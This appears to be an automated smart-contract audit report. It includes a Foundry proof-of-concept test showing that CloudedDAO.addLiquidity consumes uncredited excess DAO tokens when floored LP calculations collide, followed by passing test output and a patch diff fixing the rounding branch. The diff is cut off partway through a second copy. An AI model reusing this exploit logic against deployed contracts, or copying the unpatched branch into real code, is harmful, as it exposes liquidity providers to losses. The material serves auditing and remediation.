        vm.deal(creator, 100 ether);
        vm.deal(trader, 100 ether);
        vm.deal(victimLp, 100 ether);

        // Minting five NFTs meets the initial create-market collateral requirement
        // (max(5, totalSupply / 100)); mint also drives Jury -> DAO.buyBack().
        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
        uint256[] memory minted = jury.getUserTokenIds(creator);
        assertEq(minted.length, 5, "five jury NFTs minted");
        assertEq(dao.reserveHYPE(), 0.05 ether, "mint fee bootstrapped DAO pool");
        assertEq(dao.totalSupply(), 0.05 ether, "DAO pool minted matching DAO reserve");
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        // For ten initial shares at zero supply, this is the exact creator buy price.
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will the harness pass?",
            "Resolve YES if this Foundry PoC executes successfully.",
            outcomes,
            1,
            collateral,
            1,
            10
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function _findFlooredEqualityButImbalancedDeposit()
        internal
        view
        returns (uint256 hypeAmount, uint256 daoAmount, uint256 proportionalDao, uint256 flooredLp)
    {
        uint256 reserveHYPE = dao.reserveHYPE();
        uint256 reserveDAO = dao.reserveDAO();
        uint256 totalLP = dao.totalLP();

        for (uint256 h = 1; h < 1_000; h++) {
            uint256 lpByHype = h * totalLP / reserveHYPE;
            if (lpByHype == 0) continue;

            uint256 ratioMatchedDao = h * reserveDAO / reserveHYPE;
            for (uint256 d = ratioMatchedDao + 1; d < ratioMatchedDao + 1_000; d++) {
                uint256 lpByDao = d * totalLP / reserveDAO;
                if (lpByDao == lpByHype) {
                    return (h, d, ratioMatchedDao, lpByHype);
                }
            }
        }
        revert("no truncation witness found");
    }

    function test_addLiquidityFlooredEqualityConsumesUncreditedExcessDAO() public {
        // Obtain real DAO tokens through the public AMM path and skew the pool away
        // from exact 1:1 reserves. This leaves an initialized pool in which two
        // different deposit ratios can produce equal floored LP calculations.
        vm.prank(victimLp);
        dao.swapHYPEForDAO{value: 0.01 ether}(0, block.timestamp);
        assertGt(dao.balanceOf(victimLp), 0, "victim obtained DAO through public swap");

        (
            uint256 hypeAmount,
            uint256 daoAmount,
            uint256 proportionalDao,
            uint256 expectedLp
        ) = _findFlooredEqualityButImbalancedDeposit();
        assertGt(dao.balanceOf(victimLp), daoAmount, "victim can fund imbalanced addLiquidity call");
        assertGt(daoAmount, proportionalDao, "chosen deposit includes an excess DAO remainder");

        uint256 reserveHYPEBefore = dao.reserveHYPE();
        uint256 reserveDAOBefore = dao.reserveDAO();
        uint256 totalLPBefore = dao.totalLP();
        uint256 victimDaoBefore = dao.balanceOf(victimLp);

        uint256 lpByHype = hypeAmount * totalLPBefore / reserveHYPEBefore;
        uint256 lpByDao = daoAmount * totalLPBefore / reserveDAOBefore;
        assertEq(lpByHype, lpByDao, "independently floored LP calculations collide");
        assertEq(lpByHype, expectedLp, "search witness matches live reserves");

        (uint256 quotedLp, uint256 quotedHypeUsed, uint256 quotedDaoUsed, uint256 quotedHypeRefund, uint256 quotedDaoRefund) =
            dao.quoteAddLiquidity(hypeAmount, daoAmount);
        assertEq(quotedLp, expectedLp, "quote mints only the floored common LP amount");
        assertEq(quotedHypeUsed, hypeAmount, "equality branch consumes all supplied HYPE");
        assertEq(quotedDaoUsed, daoAmount, "equality branch consumes the excess DAO side");
        assertEq(quotedHypeRefund, 0, "no HYPE refund in equality branch");
        assertEq(quotedDaoRefund, 0, "no DAO refund/deduction despite excess DAO");
        assertGt(quotedDaoUsed, proportionalDao, "quote accepts more DAO than the pool ratio requires for the HYPE side");

        vm.prank(victimLp);
        uint256 lpAdded = dao.addLiquidity{value: hypeAmount}(daoAmount, 0, block.timestamp);

        assertEq(lpAdded, expectedLp, "victim receives only the floored LP amount");
        assertEq(dao.totalLP(), totalLPBefore + expectedLp, "LP supply increases only by floored LP");
        assertEq(dao.reserveHYPE(), reserveHYPEBefore + hypeAmount, "all supplied HYPE is added to reserves");
        assertEq(dao.reserveDAO(), reserveDAOBefore + daoAmount, "all supplied DAO, including excess, is added to reserves");
        assertEq(victimDaoBefore - dao.balanceOf(victimLp), daoAmount, "victim is debited for the full excess DAO input");

        uint256 victimRedeemableDao = dao.lpOf(victimLp) * dao.reserveDAO() / dao.totalLP();
        assertLt(victimRedeemableDao, daoAmount, "new LP position does not own the full DAO amount deposited");
    }

    function test_createMarketAndBuyOutcomeShares() public {
        (uint256[] memory outcomeIds, ) = _createMarket();
        assertEq(outcomeIds.length, 2, "two outcomes created");
        assertEq(jury.balanceOf(creator), 0, "five creator NFTs locked");
        assertEq(clouded.balanceOf(creator, outcomeIds[0]), 10, "creator received initial shares");

        (uint256 quote,,) = clouded.getOutcomeBuyQuote(outcomeIds[0], 5);
        vm.prank(trader);
        clouded.buy{value: quote}(outcomeIds[0], 5, quote, 0);

        assertEq(clouded.balanceOf(trader, outcomeIds[0]), 5, "trader received real ERC1155 shares");
        (, , , , , uint256 marketShares, uint256 bondingPool, uint256 prizePool) = clouded.getMarketInfo(1);
        assertEq(marketShares, 15, "market accounting includes creator and trader shares");
        assertGt(bondingPool + prizePool, 0, "buy populated market pools");
    }

    function test_statusTransitionsWithWarp() public {
        (, uint256 startAt) = _createMarket();

        // No reveals: ONGOING before start+1d, JURY until start+2d, APPEAL until
        // start+3d, then SETTLED. VOTING instead begins immediately after a challenge
        // and lasts three days from marketChallengedTS.
        vm.warp(startAt + 1 days);
        assertEq(jury.updateMarketStatus(1), 1, "JURY at market end");
        vm.warp(startAt + 2 days);
        assertEq(jury.updateMarketStatus(1), 2, "APPEAL after un-revealed jury window");
        vm.warp(startAt + 3 days);
        assertEq(jury.updateMarketStatus(1), 4, "SETTLED after appeal window");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1156 lines & 64.271484375 KB skipped]

No files changed, compilation skipped

Ran 3 tests for test/Poc.t.sol:PocTest
[PASS] test_addLiquidityFlooredEqualityConsumesUncreditedExcessDAO() (gas: 726634)
[PASS] test_createMarketAndBuyOutcomeShares() (gas: 1675358)
[PASS] test_statusTransitionsWithWarp() (gas: 1540021)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.09ms (5.19ms CPU time)

Ran 1 test suite in 11.35ms (5.09ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Considerations

PoC passed via run_poc using Foundry strategy unit:test-poc-t-sol: forge test --match-path test/Poc.t.sol -vv reported 3 passed / 0 failed. The exploit test initializes the real protocol pool through CloudedJury.mint() -> CloudedDAO.buyBack(), obtains DAO tokens through public CloudedDAO.swapHYPEForDAO(), then calls the real public CloudedDAO.addLiquidity() path. The demonstrated excess is a truncation-boundary remainder in wei scale for the harness pool state, but the assertions prove the same equality-branch accounting defect: equal floored LP calculations consume all DAO input, increase reserveDAO by the excess, and mint only the floored LP amount.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Use reserve-ratio-derived optimal token amounts rather than equality of floored LP quotes, so an imbalanced side is deducted/refunded even when both independently rounded LP calculations are equal. Both mirrored CloudedDAO source copies are kept consistent.

Patch

diff
diff --git a/src/CloudedDAO.sol b/src/CloudedDAO.sol
--- a/src/CloudedDAO.sol
+++ b/src/CloudedDAO.sol
@@ -1,362 +1,366 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
-            if (_lpByHype < _lpByDAO) {
+            uint256 _daoOptimal = _hypeAmount * reserveDAO / reserveHYPE;
+            if (_daoOptimal < _daoAmount) {
                 hypeUsed  = _hypeAmount;
-                daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
+                daoUsed   = _daoOptimal;
                 daoRefund = _daoAmount - daoUsed;
-            } else if (_lpByDAO < _lpByHype) {
-                daoUsed    = _daoAmount;
-                hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
-                hypeRefund = _hypeAmount - hypeUsed;
             } else {
-                hypeUsed = _hypeAmount;
-                daoUsed  = _daoAmount;
+                uint256 _hypeOptimal = _daoAmount * reserveHYPE / reserveDAO;
+                if (_hypeOptimal < _hypeAmount) {
+                    daoUsed    = _daoAmount;
+                    hypeUsed   = _hypeOptimal;
+                    hypeRefund = _hypeAmount - hypeUsed;
+                } else {
+                    hypeUsed = _hypeAmount;
+                    daoUsed  = _daoAmount;
+                }
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,366 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
